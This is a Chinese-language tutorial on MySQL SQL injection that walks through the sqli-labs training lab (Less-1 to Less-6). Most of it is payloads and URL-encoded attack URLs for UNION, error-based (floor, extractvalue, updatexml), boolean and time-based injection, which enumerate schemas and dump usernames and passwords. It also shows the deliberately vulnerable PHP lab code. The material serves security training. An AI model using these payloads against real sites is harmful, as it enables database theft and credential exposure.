SQL 注入之一：Mysql 数据库（搞懂这篇就够了）

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SQL 注入之一：Mysql 数据库

服务器端程序将用户输入参数作为查询条件，直接拼接 SQL 语句，并将查询结果返回给客户端浏览器；由此不仅可以获得数据库，还能通过 SQL 获得系统权限、文件操作等；

主要危害有：1、榨取数据； 2、执行系统命令； 3、向数据库插入代码；绕过登录验证。

实验环境安装

// 下载docker靶场
docker pull acgpiano/sqli-labs
// 运行靶场
docker run -it -d --name sqli-lab -p 8888:80 acgpiano/sqli-labs
// 浏览器访问your-ip:8888

1 Mysql 数据库 SQL 注入基础知识

1.1 information_schema

在Mysql5.0以上的版本中加入了一个information_schema这个系统表，这个系统表中包含了该数据库的所有数据库名、表名、列表，可以通过SQL注入来拿到用户的账号和口令，而Mysql5.0以下的只能暴力跑表名；5.0 以下是多用户单操作，5.0 以上是多用户多操作。

information_schema：系统数据库，含有所有数据库的相关信息。对于 Mysql 和 Infobright 等数据库，information_schema 数据库中的表都是只读的，不能进行更新、删除和插入等操作，也不能加触发器，因为它们实际只是一个视图，不是基本表，没有关联的文件。需要 root 相应权限；

information_schema.tables 存储了数据表的元数据信息，下面对常用的字段进行介绍：
table_schema: 记录数据库名；
table_name: 记录数据表名；
engine : 存储引擎；
table_rows: 关于表的粗略行估计；
data_length : 记录表的大小（单位字节）；
index_length : 记录表的索引的大小；
row_format: 可以查看数据表是否压缩过；

// 猜数据库
select schema_name from information_schema.schemata
// 猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
// 猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
// 获取某列的内容
Select *** from ****

1.2 Mysql 注释符号

1. #
2. -- (--最后有一个空格)
3. /* content */

1.3 Mysql 注入常用函数

group_concat() 函数用法参考：MySQL group_concat()函数 - MySQL教程™ (yiibai.com)

1.3.1 系统函数

select VERSION();	# 查询 MySQL 版本
select USER();		# 数据库用户名
select DATABASE();	# 数据库名
select @@datadir;	# 数据库路径
select @@version_compile_os;	# 操作系统版本

1.3.2 字符串连接函数

concat(): 
	# concat(十六进制): 解码，十六进制 -> 字符串。例：select concat(0x2D);
	# concat(str1,str2,...)：没有分隔符连接字符串；其中任何一个参数为NULL则结果为 NULL
	
concat_ws(separator,str1,str2,...)：含有分隔符的连接字符串,
http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,concat_ws(CHAR(32,58,32),user(),database(),version()),3%23
# 第1个字段同时查询多个数据，第2个字段为空，CONCAT_WS连接字符：32,58,32对应的字符为 “空格:空格”；
输出：Your Login name:root@localhost : security : 5.5.44-0ubuntu0.14.04.1

group_concat(str1,str2,...)：连接一个组的所有字符串，并以逗号分隔每一条数据

1.3.3 limit

select * from table limit m,n
m是指记录开始的index，从0开始，表示第一条记录;
n是指从第m+1条开始，取n条。

1.3.4 其他

order by：对输出进行排序，默认正序排序。

right(str,len)：返回从右边截取后的字符串
str:待截取字符串
len:截取的字节数

group by：对输出结果进行分组
exists (str)：判断是否存在，存在返回 True，不存在返回 False

hex()：编码，十进制数字/字符串 -> 十六进制。例：select(hex('A'));

sleep(s)：延时执行s秒

LEFT(str,len)：返回最左边的n个字符的字符串str，或NULL如果任何参数是NULL。

ascii(str):不能查询中文字符.
	# str 为非空字符串，返回字符串 str 的最左字符的 ASCII 码数值
	# str 为空字符串，返回 0
	# str 为NULL，返回 NULL
	# 注：ASCII() 返回数值是从 0 到 255

MID(column_name,start[,length])/SUBSTRING(str, start , length)：用于从文本字段中提取字符
	# column_name：必需。要提取字符的字段
	# start：必需。规定开始位置（起始值是 1）
	# length；可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。

substring_index(str,delim,count)
例：查询user()，并以@为分隔符，取第一个切分字段：
   http://192.168.50.2:8888/Less-1/?id=%27union%20select%201,database(),substring_index(user(),%22@%22,1)%23

rand()：随机函数，返回0~1之间的某个值。

floor(x)：返回小于等于x的最大整数。
	# floor(rand(0)*2)的结果固定为：011011

EXTRACTVALUE (XML_document, XPath_string)：从目标XML中返回包含所查询值的字符串
	# XML_document是String格式，为XML文档对象的名称，文中为Doc
	# XPath_string (Xpath格式的字符串)

1.4 Mysql 注入常用操作符

1.4.1 UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。当第一个select语句获取的数据为 Null 时，才会显示第二个 SELECT 语句中的列名。 例：
- 当第一个select语句获取的数据不为 Null 时
- 当第一个select语句获取的数据为 Null 时
UNION 默认只选取结果不同的值，如果允许重复的值，使用 UNION ALL:SELECT column_name(s) FROM table_name1 UNION ALL SELECT column_name(s) FROM table_name2
第二个 SELECT 语句所查询字段可用数字来替代。
若第二个 SELECT 语句所查询的表不存在，则返回错误信息。
即使第二个 SELECT 所查询的表字段数小于第一个所查询的表，也不会返回错误信息。

1.5 双查询报错原理

1.5.1 基础函数

rand()随机函数，返回0~1之间的某个值。
floor(a)取整函数，向下取整。
count()聚合函数也称作计数函数，返回查询对象的总数。
group by clause分组语句，按照查询结果分组。
floor(rand(0)*2)的值是固定的，假随机，为011011。

1.5.2 原理解析

select count(*) from table group by floor(rand(0)*2);
// 提示：ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'table group by floor(rand(0)*2)' at line 1

group by 建立了一个虚表/临时表，每一行都有唯一的group_id，以floor(rand(0)*2)为group_id，如果不存在则插入，如果存在则count(*)值加1。已知floor(rand(0)*2)数列为011011，解释如下：

创建好临时表后，Mysql开始逐行扫描table表，遇到的第一个分组列floor(rand(0)*2)为0，便查询临时表中是否有group_id为0的列，发现没有，则新增一行，但是注意此时rand()在新增行的时候又计算了一次，所以插入的其实是1：
```
group_id - - - count(*)
   1   - - -   1
```
Mysql继续扫描table表，遇到第二个分组列floor(rand(0)*2)为1(第三个数1)，发现1在临时表中，则不进行插入，rand()也就不会再次计算，count加1：
```
group_id - - - count(*)
   1   - - -   2
```
Mysql继续扫描，遇到第三个分组列floor(rand(0)*2)为0(第四个数0)，发现0不在临时表中，则进行插入，在插入数据时rand()又计算了一次，floor(rand(0)*2)值为1，实际上插入的group_id是1，插入时id冲突，所以发生报错。

1.6 注入类型

1.6.1 基于数据提交方式区分

GET 注入：
- 提交数据的方式是 GET , GET请求的参数是放在URL里的，GET请求的URL传参有长度限制，中文需要URL编码。
- 注入点的位置在 GET 参数部分。比如： http://host/?id=1 , id 为注入点。
POST 注入
- 使用 POST 方式提交数据，POST 请求参数是放在请求 body 里的，长度没有限制。
- 注入点位置在 POST 数据部分，常发生在表单中。
COOKIE 注入
- cookie参数放在请求头信息，提交的时候服务器会从请求头获取参数。
- 注入点存在 Cookie 当中的某个字段中。

1.6.2 基于数据类型的区分

int 型注入：
- 如： http://host/?id=1 注入，一般被称为 int 型注入。其注入点 id 类型为数字，在大多数的网页中，像查看用户个人信息、文章等，大都会使用这种形式的结构传递 id 等信息，交给后端，查询出数据库中对应的信息，返回给前端。
- SQL 语句原型：select * from 表名 where id=1
- 查询语句： select * from user where id=1 and 1=1
string 型注入：
- 如： http://host/?username=admin 注入，一般被称为 string 型注入。注意处理此类注入时，可能需要处理 SQL 语句闭合问题。
- SQL 语句原型：select * from user where username='admin'
- 查询语句：select * from user where username='admin' and 1=1'
like 型注入：
- 指在进行数据搜索时没过滤搜索参数，一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面，而是直接通过搜索框表单提交。
- SQL 语句原型：select * from user where username like '%关键字%'
- 查询语句：select * from user where username like '%关键字%' and '%1%'='%1%'

1.6.3 基于注入方法区分

联合查询注入：
- union select 联合两个表注入
报错注入：
- 即页面会返回数据库报错信息，或者把注入的语句的结果直接返回在页面中。
盲注入：
1. 布尔型注入：即根据返回页面，判断条件真假的注入。
2. 时间型注入：即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。

1.7 使用十六进制ASCII码注入

// 对 users 进行转义成十六进制ASCII码：users=7573657273
http://192.168.50.2:8888/Less-1/?id=%27union%20select%201,%20group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23

2 注入检测方法

2.1 正常查询方法

通过正常查询观察可注入点；

2.2 基于闭合报错的检测方法

一般来说，数据库都是使用单引号/双引号等进行闭合，如果直接在可注入点输入一个单引号 ' /双引号 " 、百分号% 、括号 () ，数据库因为多输入字符导致无法闭合而报错；

一般的代码为：
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 例：http://192.168.50.2:8888/Less-1/?id=1
报错：
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

2.3 基于布尔的检测方法

布尔检测：基于页面返回的信息是否相同的检测方法判断，再进一步确认服务端是否可执行:

None
False
所有值为零的数：0(整型)，(浮点型)，0L(长整型)，0.0+0.0j(复数)
""(空字符串)， [ ](空列表)， ()(空元组)，{}`(空字典)

# 以报错为 `'` 为例：
1. 方法一：
正确查询内容' and '1'='1
2. 方法二：
正确查询内容' and '1

# 若闭合报错的检测无法确认，可以尝试忽视闭合符号进行查询：
1. 方法一：
正确查询内容 and 1=1
2. 方法二：
正确查询内容 and 1

2.4 基于时间的检测方法

通过 Mysql 里面的 sleep() 函数,这个函数的意思是延时执行多少秒。

and sleep(5) 这种方法判断注入，如果存在注入的情况下 页面是延时5秒返回页面。

2.5 常用探测SQL注入的方法

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

3 Mysql 查询注入

3.1 `union` 联合查询注入方法：Less-1

源码：

# Less-1
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

原理： 利用 UNION 确认表名是否存在

3.1.1 猜测表字段数

order by 1：查询表中包含几个字段，数字变换尝试。

对于 order by 数字的用户说明如下：
示例1：
    SELECT last_name, age, hobby FROM users ORDER BY salary DESC;
示例2：
    SELECT last_name, age , hobby FROM users ORDER BY 2 DESC;
以上两个示例结果相同。因为 age 是第二个元素，所以可以使用 2 来代替。但是数字不可以使用 0，也不可以超出查询的列。

// 例如：select * from users order by x;
    如果 users 表有九个字段，那个 X 的范围就是 1 —— 9，不能是 0，也不能是 10，超出会报错

以 ' 闭合报错为例:

正确查询内容'order by 5-- 
    # -- 表示后面的为注释（-- 后有1个空格）
    # 变为：'查询语句' order by 5-- '
    # 效果为：'查询语句' order by 5

order by 3 正常显示：
order by 4 不正常显示：
说明当前表有 3 上字段。此时可以 union select 1,2,3 查询想要的数据

3.1.2 确认表中信息在页面中的回显位置

注：当第一个select语句获取的数据为 Null 时，才会显示第二个 SELECT 语句中的列名。即第一个select语句要为false才行。

根据回显的内容得知：回显的位置在2，3

3.1.3 查询数据库名称

方法一：'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

方法二：' union select 1,database(),3%23

利用database()函数查询：数据库名称为security

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,database(),3%23

利用不存在的函数进行查询：数据库名称为security

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,info(),3%23

利用不存在的表名查询：数据库名称为security

3.1.4 查询表名

方法一：'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

http://192.168.50.2:8888/Less-1/?id=%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%23

方法二：' union select 1,2,3 from users%23

表名不存在：

http://192.168.50.2:8888/Less-1/?id='+union+select+database()+from+user%23
输出：Table 'security.user' doesn't exist，可知security为数据库名，user表不存在

表名存在：users

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,2,3%20from%20users%23
输出：正常显示第二个select语句，users表存在

3.1.5 利用union select 同时确认数据库名称与对应的表是否存在

union select 1,database(),3 from users%23

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,database(),3%20from%20users%23

3.1.6 查询表字段名称

原理：

利用查询表名的方法，将第二个 SELECT 语句所查询的(在页面上显示的)数字，替换成所猜测的表字段名称
若表字段存在，以所猜测的表字段名称替换当前数字内容的形式，正常显示页面，反之表字段名称不存在。

方法一：'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

http://192.168.50.2:8888/Less-1/?id=%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%23

方法二：

表字段不存在：

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,user,3%20from%20users%23

表字段存在：username，password

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,username,3%20from%20users%23

3.1.7 查询表数据

方法一：'union select 1,username,password from users where id=1%23

http://192.168.50.2:8888/Less-1/?id=%27union%20select%201,username,password%20from%20users%20where%20id=1%23

方法二：

使用二分法探测当前表中的数据个数：数据库中只有12个数据

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,username,password%20from%20users%20limit%2012,1%23

利用' union select 1,username,password from users limit 0,1%23直接遍历表数据

// 获取第一个数据
http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,username,password%20from%20users%20limit%200,1%23

// 获取第二个数据
http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,username,password%20from%20users%20limit%201,1%23

以 ":" 分隔形式输出 username 和 password

http://192.168.50.2:8888/Less-1/?id=%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users%20limit%2012,1%23
// concat 与 concat_ws 的区别是：concat_ws 需要首字段执行分隔符，而concat 直接按照顺序写，':'字符十六进制值0x3A

3.2 报错注入

原理：

Mysql 在执行 SQL语句的时，如果语句有错会返回报错信息。但在与 PHP 结合使用的时候默认并不会把报错的信息在页面显示出来,可以在 PHP 文件中通过调用 mysql_error() 将错误显示在页面上。

$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

部分实例在新版本浏览器中需要查看源码方可查看到数据
若将 mysql 报错的语句进行了注释，便无法进行报错注入。

3.2.1 查询数据库名

查询数据库名：and info()

// 使用 `info()`错误的函数将会得到当前数据库名：security

http://192.168.50.2:8888/Less-2/?id=1%20and%20info()%23

3.2.2 利用 floor 报错(通用)：Less-2

源码：

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

查询数据库软件版本：and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,version(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

查询当前登陆用户：and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,user(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

查询当前连接数据库名称：and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,database(),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

查询所有数据库：and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

// select * FROM information_schema.schemata LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,schema_name,0x7e)%20FROM%20information_schema.schemata%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,schema_name,0x7e)%20FROM%20information_schema.schemata%20LIMIT%201,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

查询所有表：and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

// select * FROM information_schema.tables where table_schema=database() LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,table_name,0x7e)%20FROM%20information_schema.tables%20where%20table_schema=database()%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,table_name,0x7e)%20FROM%20information_schema.tables%20where%20table_schema=database()%20LIMIT%201,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

查询所有字段：and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

// select * FROM information_schema.columns where table_name='users' LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,column_name,0x7e)%20FROM%20information_schema.columns%20where%20table_name=%27users%27%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x7e,column_name,0x7e)%20FROM%20information_schema.columns%20where%20table_name=%27users%27%20LIMIT%201,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

查询所有字段数据：and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

// select * FROM information_schema.columns where table_name='users' LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x23,username,0x3a,password,0x23)%20FROM%20users%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
http://192.168.50.2:8888/Less-2/?id=1%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(0x23,username,0x3a,password,0x23)%20FROM%20users%20limit%201,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

3.2.3 利用 `ExtractValue` 报错：LESS-3

注：ExtractValue 有长度限制，最长32位

源码：

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

查询数据库名称：and extractvalue(1, concat(0x7e, (select database()),0x7e))

http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,%20(select%20database()),0x7e))%23

遍历数据库名称：and extractvalue(1, concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1),0x7e))

http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20schema_name%20FROM%20information_schema.schemata%20limit%200,1),0x7e))%23
http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20schema_name%20FROM%20information_schema.schemata%20limit%201,1),0x7e))%23

查看表名字：and extractvalue(1, concat(0x7e,(SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1),0x7e))

http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20table_name%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e))%23

查询表字段：and extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns where table_name="users" limit 0,1),0x7e))

http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20column_name%20FROM%20information_schema.columns%20where%20table_name=%22users%22%20limit%200,1),0x7e))%23
http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(SELECT%20column_name%20FROM%20information_schema.columns%20where%20table_name=%22users%22%20limit%201,1),0x7e))%23

查询表数据：and extractvalue(1, concat(0x7e,(select distinct concat(username,0x3a,password) from users limit 0,1)))

http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(select%20distinct%20concat(username,0x3a,password)%20from%20users%20limit%200,1)))%23
http://192.168.50.2:8888/Less-3/?id=1%27)%20and%20extractvalue(1,%20concat(0x7e,(select%20distinct%20concat(username,0x3a,password)%20from%20users%20limit%201,1)))%23

3.2.4 利用 `UpdateXml` 报错：Less-4

原理：

updatexml() 函数与 extractvalue() 类似，是更新 xml 文档的函数。
UpdateXml 有长度限制，最长32位
updatexml(目标xml文档，xml路径，更新的内容)

源码：

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

查询当前数据库名称：and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20database()),0x7e),1)%23

遍历查询数据库名称：and updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit 0,1),0x7e),1)

// SELECT schema_name from information_schema.schemata limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20schema_name%20from%20information_schema.schemata%20limit%200,1),0x7e),1)%23
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20schema_name%20from%20information_schema.schemata%20limit%201,1),0x7e),1)%23

遍历查询表名称：and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

// SELECT table_name from information_schema.tables where table_schema=database() limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x7e),1)%23

遍历查询表字段：and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1)

// SELECT column_name from information_schema.columns where table_name="users" limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20column_name%20from%20information_schema.columns%20where%20table_name=%22users%22%20limit%200,1),0x7e),1)%23
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20column_name%20from%20information_schema.columns%20where%20table_name=%22users%22%20limit%201,1),0x7e),1)%23

遍历查询表数据：and updatexml(1,concat(0x7e,(SELECT concat_ws(char(32,58,32),username,password) from users limit 0,1),0x7e),1)

// SELECT concat_ws(char(32,58,32),username,password) from users limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20concat_ws(char(32,58,32),username,password)%20from%20users%20limit%200,1),0x7e),1)%23
http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20concat_ws(char(32,58,32),username,password)%20from%20users%20limit%201,1),0x7e),1)%23

3.2.4.1 解决长度限制方法

查询数据或者数据长度
SUBSTRING() 进行字符长度的截取
将字符拼接起来便是完整的的数据

1. 查询数据长度：11
and updatexml(1,concat(0x7e,(SELECT length(concat_ws(char(32,58,32),username,password)) from users limit 0,1),0x7e),1)
例：http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20length(concat_ws(char(32,58,32),username,password))%20from%20users%20limit%200,1),0x7e),1)%23

2. 查询 1-6 长度的数据:Dumb :
and updatexml(1,concat(0x7e,(SELECT SUBSTRING(concat_ws(char(32,58,32),username,password),1,6) from users limit 0,1),0x7e),1)
例：http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20SUBSTRING(concat_ws(char(32,58,32),username,password),1,6)%20from%20users%20limit%200,1),0x7e),1)%23

3. 查询最后的数据：Dumb
and updatexml(1,concat(0x7e,(SELECT SUBSTRING(concat_ws(char(32,58,32),username,password),7,11) from users limit 0,1),0x7e),1)
例：http://192.168.50.2:8888/Less-4/?id=1%22)%20and%20updatexml(1,concat(0x7e,(SELECT%20SUBSTRING(concat_ws(char(32,58,32),username,password),7,11)%20from%20users%20limit%200,1),0x7e),1)%23
4. 将 SUBSTRING(str,1,32) 中的 start 与 end 同时增加。

3.2.5 双查询报错：Less-6

源码：

$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

查询当前数据库名称：or 1 group by concat_ws(0x7e,database(),floor(rand(0)*2)) having min(0)

http://192.168.50.2:8888/Less-6/?id=1%22or%201%20group%20by%20concat_ws(0x7e,database(),floor(rand(0)*2))%20having%20min(0)%23

遍历查询数据库名称：or 1 group by concat_ws(0x7e,(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2)) having min(0)

http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20schema_name%20from%20information_schema.schemata%20limit%200,1),floor(rand(0)*2))%20having%20min(0)%23
http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),floor(rand(0)*2))%20having%20min(0)%23

遍历查询表名称：or 1 group by concat_ws(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0)

http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))%20having%20min(0)%23
http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),floor(rand(0)*2))%20having%20min(0)%23

遍历表字段名称：or 1 group by concat_ws(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0)

http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))%20having%20min(0)%23
http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20limit%201,1),floor(rand(0)*2))%20having%20min(0)%23

遍历表数据：or 1 group by concat_ws(0x7e,(select concat(username,0x3a,password) from users limit 1,1),floor(rand(0)*2)) having min(0)

http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),floor(rand(0)*2))%20having%20min(0)%23
http://192.168.50.2:8888/Less-6/?id=1%22%20or%201%20group%20by%20concat_ws(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%201,1),floor(rand(0)*2))%20having%20min(0)%23

3.2.6 其他报错注入函数：Less-5

源码：由代码可知，此处不会显示数据库错误信息

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}

1. geometrycollection() 查询数据库用户名
约束条件：5.5<mysql版本<5.6
and geometrycollection((select * from(select * from(select user())a)b))

2. multipoint() 查询数据库用户名
and multipoint((select * from(select * from(select user())a)b))

